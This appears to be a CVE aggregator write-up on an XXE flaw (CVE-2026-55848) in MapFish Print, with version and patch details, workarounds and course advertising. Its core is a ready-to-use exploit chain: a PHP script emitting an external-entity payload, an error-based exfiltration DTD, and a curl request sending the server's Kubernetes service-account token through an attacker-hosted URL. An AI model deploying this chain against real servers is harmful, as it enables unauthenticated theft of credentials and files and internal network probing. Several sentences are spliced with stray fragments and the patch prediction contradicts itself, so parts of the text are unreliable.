Listen to this Post
CVE-2026-55848 is a high-severity XML External Entity (XXE) injection vulnerability affecting MapFish Print, an open-source Java library used for generating printable map documents from GIS applications. The vulnerability resides in the handling of GML (Geography Markup Language) layer sources within print requests.
The core issue lies in the `GmlLayer.java` file, located at core/src/main/java/org/mapfish/print/map/geotools/GmlLayer.java. When a print request is made to the `/api/print3/print` endpoint, MapFish Print accepts a user-controlled URL as the source for a GML layer. The application fetches the XML content from this URL and parses it without disabling the processing of external entities and external DTDs.
An attacker can host a malicious PHP script and a corresponding DTD file on a server they control. The PHP script generates an XML payload that defines an external entity pointing to a sensitive local file on the target server (e.g., `/etc/passwd` or a Kubernetes service account token). The DTD file then defines another entity that uses the first entity’s content to construct a new, invalid file path, triggering an error.
When the victim’s MapFish Print server processes the attacker’s crafted print request, it fetches the malicious XML. The XML parser resolves the external entities, reads the sensitive local file, and includes its content in the path of a non-existent file. This results in a “404 Not Found” error message that discloses the file’s contents. This attack requires no authentication and can be performed remotely over the network.
Beyond local file disclosure, the vulnerability can also be leveraged for Server-Side Request Forgery (SSRF) by changing the `file://` prefix in the DTD to https://`. This could allow an attacker to probe internal networks and services from the compromised MapFish Print server.xxe.php
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: MapFish Print
Version: <3.28.30, <3.30.32, <3.31.24, <3.33.16, <4.0.5
Vulnerability: XML External Entity (XXE)
Severity: High (CVSS 8.6)
date: 2026-08-29
Prediction: Patch expected within days (fixed versions already available)
<h2 style="color: blue;">What Undercode Say:</h2>
Analytics of the attack shows the exploitation requires two attacker-controlled files and a single `curl` request.
<h2 style="color: blue;">1. Host the malicious PHP script ():</h2>
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\">
<!-- ".str_repeat('x',200)." -->
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
?>
<h2 style="color: blue;">Source: Provided &</h2>
<h2 style="color: blue;">2. Host the malicious DTD file (evil.dtd):</h2>
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;
<h2 style="color: blue;">Source: Provided &</h2>
<h2 style="color: blue;">3. Send the exploit request:</h2>
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \
-H 'Content-Type: application/json' \
-d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'
<h2 style="color: blue;">Source: Provided &</h2>
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
<h2 style="color: blue;">The exploit chain works as follows:</h2>
1. The attacker hosts `xxe.php` and `evil.dtd` on a public server (attacker.ch).p=/etc/passwd
2. The attacker sends a `curl` request to the vulnerable MapFish Print server.
3. The `gml` layer URL in the request points to the attacker's `xxe.php` with the target file as a parameter (e.g.,).xxe.php
4. The MapFish Print server fetches, which generates an XML payload./etc/passwd`), Kubernetes service-account tokens, and certificates.
5. The XML parser on the server processes the payload, which instructs it to fetch the `evil.dtd` from the attacker.
6. The `evil.dtd` defines a new entity that triggers an error, using the content of the target local file as part of the error path.
7. The server returns a "404 Not Found" error, with the file's content embedded in the error message.
<h2 style="color: blue;">Protection:</h2>
The primary and most effective protection is to upgrade MapFish Print to a patched version:
<h2 style="color: blue;">3.28.30 or later</h2>
<h2 style="color: blue;">3.30.32 or later</h2>
<h2 style="color: blue;">3.31.24 or later</h2>
<h2 style="color: blue;">3.33.16 or later</h2>
<h2 style="color: blue;">4.0.5 or later</h2>
If an immediate upgrade is not possible, implement the following workarounds:
Restrict or disable the ability for print requests to reference externally-controlled GML/XML layer URLs.
Place the print service behind network controls that limit inbound access to trusted clients only.
Monitor and restrict outbound network access from the MapFish Print host to reduce the risk of SSRF.
Review the application/XML parser configuration to ensure external entity and DTD processing is disabled wherever custom XML parsing is performed.
<h2 style="color: blue;">Impact:</h2>
Successful exploitation of this vulnerability allows an unauthenticated attacker to:
Read arbitrary local files: Access sensitive files on the server, including operating system account data (e.g.,
Perform Server-Side Request Forgery (SSRF): Make requests to internal HTTP endpoints, potentially leading to further compromise of internal systems.
The vulnerability has a CVSS v3.1 base score of 8.6 (High), indicating a significant risk to confidentiality. There is no impact on integrity or availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
